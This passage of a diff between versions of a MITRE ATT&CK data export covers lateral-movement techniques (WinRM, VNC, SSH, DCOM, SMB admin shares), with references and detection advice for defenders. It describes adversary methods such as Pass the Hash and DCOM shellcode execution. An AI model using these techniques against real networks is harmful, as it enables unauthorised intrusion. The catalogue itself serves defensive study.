12, 2014.', 'url': 'http://msdn.microsoft.com/en-us/library/aa384426'}, {'source_name': 'Jacobsen 2014', 'description': 'Jacobsen, K. (2014, May 16). Lateral Movement with PowerShell[slides]. Retrieved November 12, 2014.', 'url': 'https://www.slideshare.net/kieranjacobsen/lateral-movement-with-power-shell-2'}, {'source_name': 'MSDN WMI', 'description': 'Microsoft. (n.d.). Windows Management Instrumentation. Retrieved April 27, 2016.', 'url': 'https://msdn.microsoft.com/en-us/library/aa394582.aspx'}, {'source_name': 'Medium Detecting Lateral Movement', 'description': 'French, D. (2018, September 30). Detecting Lateral Movement Using Sysmon and Splunk. Retrieved October 11, 2019.', 'url': 'https://medium.com/threatpunter/detecting-lateral-movement-using-sysmon-and-splunk-318d3be141bc'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Service: Service Metadata', 'Process: Process Creation', 'Network Traffic: Network Connection Creation', 'Logon Session: Logon Session Creation', 'Command: Command Execution']",,"Monitor use of WinRM within an environment by tracking service execution. If it is not normally used or is disabled, then this may be an indicator of suspicious behavior. Monitor processes created and actions taken by the WinRM process or a WinRM invoked script to correlate it with other related events.(Citation: Medium Detecting Lateral Movement) Also monitor for remote WMI connection attempts (typically over port 5985 when using HTTP and 5986 for HTTPS).",True,"['User', 'Administrator']",['Windows'],1.1,,,,,,, +attack-pattern,attack-pattern--01327cde-66c4-4123-bf34-5f258d59457b,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-02-11T18:28:44.950Z,2021-10-07T22:14:25.528Z,VNC,"Adversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to remotely control machines using Virtual Network Computing (VNC). VNC is a platform-independent desktop sharing system that uses the RFB (“remote framebuffer”) protocol to enable users to remotely control another computer’s display by relaying the screen, mouse, and keyboard inputs over the network.(Citation: The Remote Framebuffer Protocol) + +VNC differs from [Remote Desktop Protocol](https://attack.mitre.org/techniques/T1021/001) as VNC is screen-sharing software rather than resource-sharing software. By default, VNC uses the system's authentication, but it can be configured to use credentials specific to VNC.(Citation: MacOS VNC software for Remote Desktop)(Citation: VNC Authentication) + +Adversaries may abuse VNC to perform malicious actions as the logged-on user such as opening documents, downloading files, and running arbitrary commands. An adversary could use VNC to remotely control and monitor a system to collect data and information to pivot to other systems within the network. Specific VNC libraries/implementations have also been susceptible to brute force attacks and memory usage exploitation.(Citation: Hijacking VNC)(Citation: macOS root VNC login without authentication)(Citation: VNC Vulnerabilities)(Citation: Offensive Security VNC Authentication Check)(Citation: Attacking VNC Servers PentestLab)(Citation: Havana authentication bug)","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'lateral-movement'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1021/005', 'external_id': 'T1021.005'}, {'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/555.html', 'external_id': 'CAPEC-555'}, {'source_name': 'The Remote Framebuffer Protocol', 'description': 'T. Richardson, J. Levine, RealVNC Ltd.. (2011, March). The Remote Framebuffer Protocol. Retrieved September 20, 2021.', 'url': 'https://datatracker.ietf.org/doc/html/rfc6143#section-7.2.2'}, {'source_name': 'MacOS VNC software for Remote Desktop', 'description': 'Apple Support. (n.d.). Set up a computer running VNC software for Remote Desktop. Retrieved August 18, 2021.', 'url': 'https://support.apple.com/guide/remote-desktop/set-up-a-computer-running-vnc-software-apdbed09830/mac'}, {'source_name': 'VNC Authentication', 'description': 'Tegan. (2019, August 15). Setting up System Authentication. Retrieved September 20, 2021.', 'url': 'https://help.realvnc.com/hc/en-us/articles/360002250097-Setting-up-System-Authentication'}, {'source_name': 'Hijacking VNC', 'description': 'Z3RO. (2019, March 10). Day 70: Hijacking VNC (Enum, Brute, Access and Crack). Retrieved September 20, 2021.', 'url': 'https://int0x33.medium.com/day-70-hijacking-vnc-enum-brute-access-and-crack-d3d18a4601cc'}, {'source_name': 'macOS root VNC login without authentication', 'description': 'Nick Miles. (2017, November 30). Detecting macOS High Sierra root account without authentication. Retrieved September 20, 2021.', 'url': 'https://www.tenable.com/blog/detecting-macos-high-sierra-root-account-without-authentication'}, {'source_name': 'VNC Vulnerabilities', 'description': 'Sergiu Gatlan. (2019, November 22). Dozens of VNC Vulnerabilities Found in Linux, Windows Solutions. Retrieved September 20, 2021.', 'url': 'https://www.bleepingcomputer.com/news/security/dozens-of-vnc-vulnerabilities-found-in-linux-windows-solutions/'}, {'source_name': 'Offensive Security VNC Authentication Check', 'description': 'Offensive Security. (n.d.). VNC Authentication. Retrieved October 6, 2021.', 'url': 'https://www.offensive-security.com/metasploit-unleashed/vnc-authentication/'}, {'source_name': 'Attacking VNC Servers PentestLab', 'description': 'Administrator, Penetration Testing Lab. (2012, October 30). Attacking VNC Servers. Retrieved October 6, 2021.', 'url': 'https://pentestlab.blog/2012/10/30/attacking-vnc-servers/'}, {'source_name': 'Havana authentication bug', 'description': 'Jay Pipes. (2013, December 23). Security Breach! Tenant A is seeing the VNC Consoles of Tenant B!. Retrieved October 6, 2021.', 'url': 'http://lists.openstack.org/pipermail/openstack/2013-December/004138.html'}, {'source_name': 'Apple Unified Log Analysis Remote Login and Screen Sharing', 'description': 'Sarah Edwards. (2020, April 30). Analysis of Apple Unified Logs: Quarantine Edition [Entry 6] – Working From Home? Remote Logins. Retrieved August 19, 2021.', 'url': 'https://sarah-edwards-xzkc.squarespace.com/blog/2020/4/30/analysis-of-apple-unified-logs-quarantine-edition-entry-6-working-from-home-remote-logins'}, {'source_name': 'Gnome Remote Desktop grd-settings', 'description': 'Pascal Nowack. (n.d.). Retrieved September 21, 2021.', 'url': 'https://gitlab.gnome.org/GNOME/gnome-remote-desktop/-/blob/9aa9181e/src/grd-settings.c#L207'}, {'source_name': 'Gnome Remote Desktop gschema', 'description': 'Pascal Nowack. (n.d.). Retrieved September 21, 2021.', 'url': 'https://gitlab.gnome.org/GNOME/gnome-remote-desktop/-/blob/9aa9181e/src/org.gnome.desktop.remote-desktop.gschema.xml.in'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Process: Process Creation', 'Network Traffic: Network Connection Creation', 'Logon Session: Logon Session Creation']",,"Use of VNC may be legitimate depending on the environment and how it’s used. Other factors, such as access patterns and activity that occurs after a remote login, may indicate suspicious or malicious behavior using VNC. + +On macOS systems log show --predicate 'process = ""screensharingd"" and eventMessage contains ""Authentication:""' can be used to review incoming VNC connection attempts for suspicious activity.(Citation: Apple Unified Log Analysis Remote Login and Screen Sharing) + +Monitor for use of built-in debugging environment variables (such as those containing credentials or other sensitive information) as well as test/default users on VNC servers, as these can leave openings for adversaries to abuse.(Citation: Gnome Remote Desktop grd-settings)(Citation: Gnome Remote Desktop gschema)",True,,"['Linux', 'macOS', 'Windows']",1.1,,['VNC server installed and listening for connections.'],,,,, +attack-pattern,attack-pattern--2db31dcd-54da-405d-acef-b9129b816ed6,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-02-11T18:27:15.774Z,2021-10-15T14:15:06.853Z,SSH,"Adversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to log into remote machines using Secure Shell (SSH). The adversary may then perform actions as the logged-on user. -WinRM is the name of both a Windows service and a protocol that allows a user to interact with a remote system (e.g., run an executable, modify the Registry, modify services).(Citation: Microsoft WinRM) It may be called with the `winrm` command or by any number of programs such as PowerShell.(Citation: Jacobsen 2014)","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1021/006', external_id='T1021.006'), ExternalReference(source_name='Microsoft WinRM', description='Microsoft. (n.d.). Windows Remote Management. Retrieved November 12, 2014.', url='http://msdn.microsoft.com/en-us/library/aa384426'), ExternalReference(source_name='Jacobsen 2014', description='Jacobsen, K. (2014, May 16). Lateral Movement with PowerShell[slides]. Retrieved November 12, 2014.', url='https://www.slideshare.net/kieranjacobsen/lateral-movement-with-power-shell-2'), ExternalReference(source_name='Medium Detecting Lateral Movement', description='French, D. (2018, September 30). Detecting Lateral Movement Using Sysmon and Splunk. Retrieved October 11, 2019.', url='https://medium.com/threatpunter/detecting-lateral-movement-using-sysmon-and-splunk-318d3be141bc')]",attack-pattern--60d0c01d-e2bf-49dd-a453-f8a9c9fa6f65,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='lateral-movement')]",2020-03-25 12:25:03.014000+00:00,Windows Remote Management,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,"['Process: Process Creation', 'Network Traffic: Network Connection Creation', 'Logon Session: Logon Session Creation', 'Command: Command Execution']",,,,,"Monitor use of WinRM within an environment by tracking service execution. If it is not normally used or is disabled, then this may be an indicator of suspicious behavior. Monitor processes created and actions taken by the WinRM process or a WinRM invoked script to correlate it with other related events.(Citation: Medium Detecting Lateral Movement)",,,,,True,,,"['User', 'Administrator']",['Windows'],,,,1.0 -2020-02-11 18:28:44.950000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to remotely control machines using Virtual Network Computing (VNC). The adversary may then perform actions as the logged-on user. +SSH is a protocol that allows authorized users to open remote shells on other computers. Many Linux and macOS versions come with SSH installed by default, although typically disabled until the user enables it. The SSH server can be configured to use standard password authentication or public-private keypairs in lieu of or in addition to a password. In this authentication scenario, the user’s public key must be in a special file on the computer running the server that lists which keypairs are allowed to login as that user.","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'lateral-movement'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1021/004', 'external_id': 'T1021.004'}, {'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/555.html', 'external_id': 'CAPEC-555'}, {'source_name': 'Apple Unified Log Analysis Remote Login and Screen Sharing', 'description': 'Sarah Edwards. (2020, April 30). Analysis of Apple Unified Logs: Quarantine Edition [Entry 6] – Working From Home? Remote Logins. Retrieved August 19, 2021.', 'url': 'https://sarah-edwards-xzkc.squarespace.com/blog/2020/4/30/analysis-of-apple-unified-logs-quarantine-edition-entry-6-working-from-home-remote-logins'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Process: Process Creation', 'Network Traffic: Network Connection Creation', 'Logon Session: Logon Session Creation']",,"Use of SSH may be legitimate depending on the environment and how it’s used. Other factors, such as access patterns and activity that occurs after a remote login, may indicate suspicious or malicious behavior with SSH. Monitor for user accounts logged into systems they would not normally access or access patterns to multiple systems over a relatively short period of time. -VNC is a desktop sharing system that allows users to remotely control another computer’s display by relaying mouse and keyboard inputs over the network. VNC does not necessarily use standard user credentials. Instead, a VNC client and server may be configured with sets of credentials that are used only for VNC connections.","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1021/005', external_id='T1021.005'), ExternalReference(source_name='capec', url='https://capec.mitre.org/data/definitions/555.html', external_id='CAPEC-555')]",attack-pattern--01327cde-66c4-4123-bf34-5f258d59457b,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='lateral-movement')]",2020-03-23 20:41:21.147000+00:00,VNC,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,"['Process: Process Creation', 'Network Traffic: Network Connection Creation', 'Logon Session: Logon Session Creation']",,,,,"Use of VNC may be legitimate depending on the environment and how it’s used. Other factors, such as access patterns and activity that occurs after a remote login, may indicate suspicious or malicious behavior with VNC.",,,,,True,,,,"['Linux', 'macOS', 'Windows']",,['VNC server installed and listening for connections.'],,1.0 -2020-02-11 18:27:15.774000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to log into remote machines using Secure Shell (SSH). The adversary may then perform actions as the logged-on user. +On macOS systems log show --predicate 'process = ""sshd""' can be used to review incoming SSH connection attempts for suspicious activity. The command log show --info --predicate 'process = ""ssh"" or eventMessage contains ""ssh""' can be used to review outgoing SSH connection activity.(Citation: Apple Unified Log Analysis Remote Login and Screen Sharing) -SSH is a protocol that allows authorized users to open remote shells on other computers. Many Linux and macOS versions come with SSH installed by default, although typically disabled until the user enables it. The SSH server can be configured to use standard password authentication or public-private keypairs in lieu of or in addition to a password. In this authentication scenario, the user’s public key must be in a special file on the computer running the server that lists which keypairs are allowed to login as that user.(Citation: SSH Secure Shell)","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1021/004', external_id='T1021.004'), ExternalReference(source_name='capec', url='https://capec.mitre.org/data/definitions/555.html', external_id='CAPEC-555'), ExternalReference(source_name='SSH Secure Shell', description='SSH.COM. (n.d.). SSH (Secure Shell). Retrieved March 23, 2020.', url='https://www.ssh.com/ssh')]",attack-pattern--2db31dcd-54da-405d-acef-b9129b816ed6,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='lateral-movement')]",2020-03-23 23:43:46.977000+00:00,SSH,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,"['Process: Process Creation', 'Network Traffic: Network Connection Creation', 'Logon Session: Logon Session Creation']",,,,,"Use of SSH may be legitimate depending on the environment and how it’s used. Other factors, such as access patterns and activity that occurs after a remote login, may indicate suspicious or malicious behavior with SSH. Monitor for user accounts logged into systems they would not normally access or access patterns to multiple systems over a relatively short period of time.",,,,,True,,,,"['Linux', 'macOS']",,['An SSH server is configured and running.'],,1.0 -2020-02-11 18:26:36.444000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to interact with remote machines by taking advantage of Distributed Component Object Model (DCOM). The adversary may then perform actions as the logged-on user. +On Linux systems SSH activity can be found in the logs located in /var/log/auth.log or /var/log/secure depending on the distro you are using.",True,,"['Linux', 'macOS']",1.1,,['An SSH server is configured and running.'],,,,, +attack-pattern,attack-pattern--68a0c5ed-bee2-4513-830d-5b0d650139bd,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-02-11T18:26:36.444Z,2021-06-23T18:58:32.752Z,Distributed Component Object Model,"Adversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to interact with remote machines by taking advantage of Distributed Component Object Model (DCOM). The adversary may then perform actions as the logged-on user. The Windows Component Object Model (COM) is a component of the native Windows application programming interface (API) that enables interaction between software objects, or executable code that implements one or more interfaces. Through COM, a client object can call methods of server objects, which are typically Dynamic Link Libraries (DLL) or executables (EXE). Distributed COM (DCOM) is transparent middleware that extends the functionality of COM beyond a local computer using remote procedure call (RPC) technology.(Citation: Fireeye Hunting COM June 2019)(Citation: Microsoft COM) Permissions to interact with local and remote server COM objects are specified by access control lists (ACL) in the Registry.(Citation: Microsoft Process Wide Com Keys) By default, only Administrators may remotely activate and launch COM objects through DCOM.(Citation: Microsoft COM ACL) -Through DCOM, adversaries operating in the context of an appropriately privileged user can remotely obtain arbitrary and even direct shellcode execution through Office applications(Citation: Enigma Outlook DCOM Lateral Movement Nov 2017) as well as other Windows objects that contain insecure methods.(Citation: Enigma MMC20 COM Jan 2017)(Citation: Enigma DCOM Lateral Movement Jan 2017) DCOM can also execute macros in existing documents(Citation: Enigma Excel DCOM Sept 2017) and may also invoke Dynamic Data Exchange (DDE) execution directly through a COM created instance of a Microsoft Office application(Citation: Cyberreason DCOM DDE Lateral Movement Nov 2017), bypassing the need for a malicious document.","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1021/003', external_id='T1021.003'), ExternalReference(source_name='Fireeye Hunting COM June 2019', description='Hamilton, C. (2019, June 4). Hunting COM Objects. Retrieved June 10, 2019.', url='https://www.fireeye.com/blog/threat-research/2019/06/hunting-com-objects.html'), ExternalReference(source_name='Microsoft COM', description='Microsoft. (n.d.). Component Object Model (COM). Retrieved November 22, 2017.', url='https://msdn.microsoft.com/library/windows/desktop/ms680573.aspx'), ExternalReference(source_name='Microsoft Process Wide Com Keys', description='Microsoft. (n.d.). Setting Process-Wide Security Through the Registry. Retrieved November 21, 2017.', url='https://msdn.microsoft.com/en-us/library/windows/desktop/ms687317(v=vs.85).aspx'), ExternalReference(source_name='Microsoft COM ACL', description='Microsoft. (n.d.). DCOM Security Enhancements in Windows XP Service Pack 2 and Windows Server 2003 Service Pack 1. Retrieved November 22, 2017.', url='https://docs.microsoft.com/en-us/windows/desktop/com/dcom-security-enhancements-in-windows-xp-service-pack-2-and-windows-server-2003-service-pack-1'), ExternalReference(source_name='Enigma Outlook DCOM Lateral Movement Nov 2017', description=""Nelson, M. (2017, November 16). Lateral Movement using Outlook's CreateObject Method and DotNetToJScript. Retrieved November 21, 2017."", url='https://enigma0x3.net/2017/11/16/lateral-movement-using-outlooks-createobject-method-and-dotnettojscript/'), ExternalReference(source_name='Enigma MMC20 COM Jan 2017', description='Nelson, M. (2017, January 5). Lateral Movement using the MMC20 Application COM Object. Retrieved November 21, 2017.', url='https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/'), ExternalReference(source_name='Enigma DCOM Lateral Movement Jan 2017', description='Nelson, M. (2017, January 23). Lateral Movement via DCOM: Round 2. Retrieved November 21, 2017.', url='https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/'), ExternalReference(source_name='Enigma Excel DCOM Sept 2017', description='Nelson, M. (2017, September 11). Lateral Movement using Excel.Application and DCOM. Retrieved November 21, 2017.', url='https://enigma0x3.net/2017/09/11/lateral-movement-using-excel-application-and-dcom/'), ExternalReference(source_name='Cyberreason DCOM DDE Lateral Movement Nov 2017', description='Tsukerman, P. (2017, November 8). Leveraging Excel DDE for lateral movement via DCOM. Retrieved November 21, 2017.', url='https://www.cybereason.com/blog/leveraging-excel-dde-for-lateral-movement-via-dcom')]",attack-pattern--68a0c5ed-bee2-4513-830d-5b0d650139bd,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='lateral-movement')]",2020-03-23 20:21:03.684000+00:00,Distributed Component Object Model,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,"['Module: Module Load', 'Process: Process Creation', 'Network Traffic: Network Connection Creation']",,,,,"Monitor for COM objects loading DLLs and other modules not typically associated with the application.(Citation: Enigma Outlook DCOM Lateral Movement Nov 2017) Enumeration of COM objects, via [Query Registry](https://attack.mitre.org/techniques/T1012) or [PowerShell](https://attack.mitre.org/techniques/T1059/001), may also proceed malicious use.(Citation: Fireeye Hunting COM June 2019)(Citation: Enigma MMC20 COM Jan 2017) Monitor for spawning of processes associated with COM objects, especially those invoked by a user different than the one currently logged on. +Through DCOM, adversaries operating in the context of an appropriately privileged user can remotely obtain arbitrary and even direct shellcode execution through Office applications(Citation: Enigma Outlook DCOM Lateral Movement Nov 2017) as well as other Windows objects that contain insecure methods.(Citation: Enigma MMC20 COM Jan 2017)(Citation: Enigma DCOM Lateral Movement Jan 2017) DCOM can also execute macros in existing documents(Citation: Enigma Excel DCOM Sept 2017) and may also invoke [Dynamic Data Exchange](https://attack.mitre.org/techniques/T1559/002) (DDE) execution directly through a COM created instance of a Microsoft Office application(Citation: Cyberreason DCOM DDE Lateral Movement Nov 2017), bypassing the need for a malicious document. DCOM can be used as a method of remotely interacting with [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047). (Citation: MSDN WMI)","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'lateral-movement'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1021/003', 'external_id': 'T1021.003'}, {'source_name': 'Fireeye Hunting COM June 2019', 'description': 'Hamilton, C. (2019, June 4). Hunting COM Objects. Retrieved June 10, 2019.', 'url': 'https://www.fireeye.com/blog/threat-research/2019/06/hunting-com-objects.html'}, {'source_name': 'Microsoft COM', 'description': 'Microsoft. (n.d.). Component Object Model (COM). Retrieved November 22, 2017.', 'url': 'https://msdn.microsoft.com/library/windows/desktop/ms680573.aspx'}, {'source_name': 'Microsoft Process Wide Com Keys', 'description': 'Microsoft. (n.d.). Setting Process-Wide Security Through the Registry. Retrieved November 21, 2017.', 'url': 'https://msdn.microsoft.com/en-us/library/windows/desktop/ms687317(v=vs.85).aspx'}, {'source_name': 'Microsoft COM ACL', 'description': 'Microsoft. (n.d.). DCOM Security Enhancements in Windows XP Service Pack 2 and Windows Server 2003 Service Pack 1. Retrieved November 22, 2017.', 'url': 'https://docs.microsoft.com/en-us/windows/desktop/com/dcom-security-enhancements-in-windows-xp-service-pack-2-and-windows-server-2003-service-pack-1'}, {'source_name': 'Enigma Outlook DCOM Lateral Movement Nov 2017', 'description': ""Nelson, M. (2017, November 16). Lateral Movement using Outlook's CreateObject Method and DotNetToJScript. Retrieved November 21, 2017."", 'url': 'https://enigma0x3.net/2017/11/16/lateral-movement-using-outlooks-createobject-method-and-dotnettojscript/'}, {'source_name': 'Enigma MMC20 COM Jan 2017', 'description': 'Nelson, M. (2017, January 5). Lateral Movement using the MMC20 Application COM Object. Retrieved November 21, 2017.', 'url': 'https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/'}, {'source_name': 'Enigma DCOM Lateral Movement Jan 2017', 'description': 'Nelson, M. (2017, January 23). Lateral Movement via DCOM: Round 2. Retrieved November 21, 2017.', 'url': 'https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/'}, {'source_name': 'Enigma Excel DCOM Sept 2017', 'description': 'Nelson, M. (2017, September 11). Lateral Movement using Excel.Application and DCOM. Retrieved November 21, 2017.', 'url': 'https://enigma0x3.net/2017/09/11/lateral-movement-using-excel-application-and-dcom/'}, {'source_name': 'Cyberreason DCOM DDE Lateral Movement Nov 2017', 'description': 'Tsukerman, P. (2017, November 8). Leveraging Excel DDE for lateral movement via DCOM. Retrieved November 21, 2017.', 'url': 'https://www.cybereason.com/blog/leveraging-excel-dde-for-lateral-movement-via-dcom'}, {'source_name': 'MSDN WMI', 'description': 'Microsoft. (n.d.). Windows Management Instrumentation. Retrieved April 27, 2016.', 'url': 'https://msdn.microsoft.com/en-us/library/aa394582.aspx'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Module: Module Load', 'Process: Process Creation', 'Network Traffic: Network Connection Creation']",,"Monitor for COM objects loading DLLs and other modules not typically associated with the application.(Citation: Enigma Outlook DCOM Lateral Movement Nov 2017) Enumeration of COM objects, via [Query Registry](https://attack.mitre.org/techniques/T1012) or [PowerShell](https://attack.mitre.org/techniques/T1059/001), may also proceed malicious use.(Citation: Fireeye Hunting COM June 2019)(Citation: Enigma MMC20 COM Jan 2017) Monitor for spawning of processes associated with COM objects, especially those invoked by a user different than the one currently logged on. -Monitor for any influxes or abnormal increases in Distributed Computing Environment/Remote Procedure Call (DCE/RPC) traffic.",,,,,True,,,"['Administrator', 'SYSTEM']",['Windows'],,,,1.0 -2020-02-11 18:25:28.212000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to interact with a remote network share using Server Message Block (SMB). The adversary may then perform actions as the logged-on user. +Monitor for any influxes or abnormal increases in DCOM related Distributed Computing Environment/Remote Procedure Call (DCE/RPC) traffic (typically over port 135).",True,"['Administrator', 'SYSTEM']",['Windows'],1.1,,,,,,, +attack-pattern,attack-pattern--4f9ca633-15c5-463c-9724-bdcd54fde541,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-02-11T18:25:28.212Z,2020-03-23T21:16:02.812Z,SMB/Windows Admin Shares,"Adversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to interact with a remote network share using Server Message Block (SMB). The adversary may then perform actions as the logged-on user. SMB is a file, printer, and serial port sharing protocol for Windows machines on the same network or domain. Adversaries may use SMB to interact with file shares, allowing them to move laterally throughout a network. Linux and macOS implementations of SMB typically use Samba. -Windows systems have hidden network shares that are accessible only to administrators and provide the ability for remote file copy and other administrative functions. Example network shares include `C$`, `ADMIN$`, and `IPC$`. Adversaries may use this technique in conjunction with administrator-level [Valid Accounts](https://attack.mitre.org/techniques/T1078) to remotely access a networked system over SMB,(Citation: Wikipedia Server Message Block) to interact with systems using remote procedure calls (RPCs),(Citation: TechNet RPC) transfer files, and run transferred binaries through remote Execution. Example execution techniques that rely on authenticated sessions over SMB/RPC are [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053), [Service Execution](https://attack.mitre.org/techniques/T1569/002), and [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047). Adversaries can also use NTLM hashes to access administrator shares on systems with [Pass the Hash](https://attack.mitre.org/techniques/T1550/002) and certain configuration and patch levels.(Citation: Microsoft Admin Shares)","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1021/002', external_id='T1021.002'), ExternalReference(source_name='capec', url='https://capec.mitre.org/data/definitions/561.html', external_id='CAPEC-561'), ExternalReference(source_name='Wikipedia Server Message Block', description='Wikipedia. (2017, December 16). Server Message Block. Retrieved December 21, 2017.', url='https://en.wikipedia.org/wiki/Server_Message_Block'), ExternalReference(source_name='TechNet RPC', description='Microsoft. (2003, March 28). What Is RPC?. Retrieved June 12, 2016.', url='https://technet.microsoft.com/en-us/library/cc787851.aspx'), ExternalReference(source_name='Microsoft Admin Shares', description='Microsoft. (n.d.). How to create and delete hidden or administrative shares on client computers. Retrieved November 20, 2014.', url='http://support.microsoft.com/kb/314984'), ExternalReference(source_name='Lateral Movement Payne', description='Payne, J. (2015, November 26). Tracking Lateral Movement Part One - Special Groups and Specific Service Accounts. Retrieved February 1, 2016.', url='https://docs.microsoft.com/en-us/archive/blogs/jepayne/tracking-lateral-movement-part-one-special-groups-and-specific-service-accounts'), ExternalReference(source_name='Windows Event Forwarding Payne', description='Payne, J. (2015, November 23). Monitoring what matters - Windows Event Forwarding for everyone (even if you already have a SIEM.). Retrieved February 1, 2016.', url='https://docs.microsoft.com/en-us/archive/blogs/jepayne/monitoring-what-matters-windows-event-forwarding-for-everyone-even-if-you-already-have-a-siem'), ExternalReference(source_name='Medium Detecting WMI Persistence', description='French, D. (2018, October 9). Detecting & Removing an Attacker’s WMI Persistence. Retrieved October 11, 2019.', url='https://medium.com/threatpunter/detecting-removing-wmi-persistence-60ccbb7dff96')]",attack-pattern--4f9ca633-15c5-463c-9724-bdcd54fde541,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='lateral-movement')]",2020-03-23 21:16:02.812000+00:00,SMB/Windows Admin Shares,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,"['Command: Command Execution', 'Network Traffic: Network Connection Creation', 'Network Traffic: Network Traffic Flow', 'Logon Session: Logon Session Creation', 'Network Share: Network Share Access']",,,,,"Ensure that proper logging of accounts used to log into systems is turned on and centrally collected. Windows logging is able to collect success/failure for accounts that may be used to move laterally and can be collected using tools such as Windows Event Forwarding. (Citation: Lateral Movement Payne)(Citation: Windows Event Forwarding Payne) Monitor remote login events and associated SMB activity for file transfers and remote process execution. Monitor the actions of remote users who connect to administrative shares. Monitor for use of tools and commands to connect to remote shares, such as [Net](https://attack.mitre.org/software/S0039), on the command-line interface and Discovery techniques that could be used to find remotely accessible systems.(Citation: Medium Detecting WMI Persistence)",,,,,True,,,"['User', 'Administrator']",['Windows'],,['SMB enabled; Host/network firewalls not blocking SMB ports between source and destination; Use of domain account in administrator group on remote system or default system admin account.'],,1.0 -2020-02-11 18:23:26.059000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to log into a computer using the Remote Desktop Protocol (RDP). The adversary may then perform actions as the logged-on user. +Windows systems have hidden network shares that are accessible only to administrators and provide the ability for remote file copy and other administrative functions. Example network shares include `C$`, `ADMIN$`, and `IPC$`. Adversaries may use this technique in conjunction with administrator-level [Valid Accounts](https://attack.mitre.org/techniques/T1078) to remotely access a networked system over SMB,(Citation: Wikipedia Server Message Block) to interact with systems using remote procedure calls (RPCs),(Citation: TechNet RPC) transfer files, and run transferred binaries through remote Execution. Example execution techniques that rely on authenticated sessions over SMB/RPC are [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053), [Service Execution](https://attack.mitre.org/techniques/T1569/002), and [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047). Adversaries can also use NTLM hashes to access administrator shares on systems with [Pass the Hash](https://attack.mitre.org/techniques/T1550/002) and certain configuration and patch levels.(Citation: Microsoft Admin Shares)","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'lateral-movement'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1021/002', 'external_id': 'T1021.002'}, {'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/561.html', 'external_id': 'CAPEC-561'}, {'source_name': 'Wikipedia Server Message Block', 'description': 'Wikipedia. (2017, December 16). Server Message Block. Retrieved December 21, 2017.', 'url': 'https://en.wikipedia.org/wiki/Server_Message_Block'}, {'source_name': 'TechNet RPC', 'description': 'Microsoft. (2003, March 28). What Is RPC?. Retrieved June 12, 2016.', 'url': 'https://technet.microsoft.com/en-us/library/cc787851.aspx'}, {'source_name': 'Microsoft Admin Shares', 'description': 'Microsoft. (n.d.). How to create and delete hidden or administrative shares on client computers. Retrieved November 20, 2014.', 'url': 'http://support.microsoft.com/kb/314984'}, {'source_name': 'Lateral Movement Payne', 'description': 'Payne, J. (2015, November 26). Tracking Lateral Movement Part One - Special Groups and Specific Service Accounts. Retrieved February 1, 2016.', 'url': 'https://docs.microsoft.com/en-us/archive/blogs/jepayne/tracking-lateral-movement-part-one-special-groups-and-specific-service-accounts'}, {'source_name': 'Windows Event Forwarding Payne', 'description': 'Payne, J. (2015, November 23). Monitoring what matters - Windows Event Forwarding for everyone (even if you already have a SIEM.). Retrieved February 1, 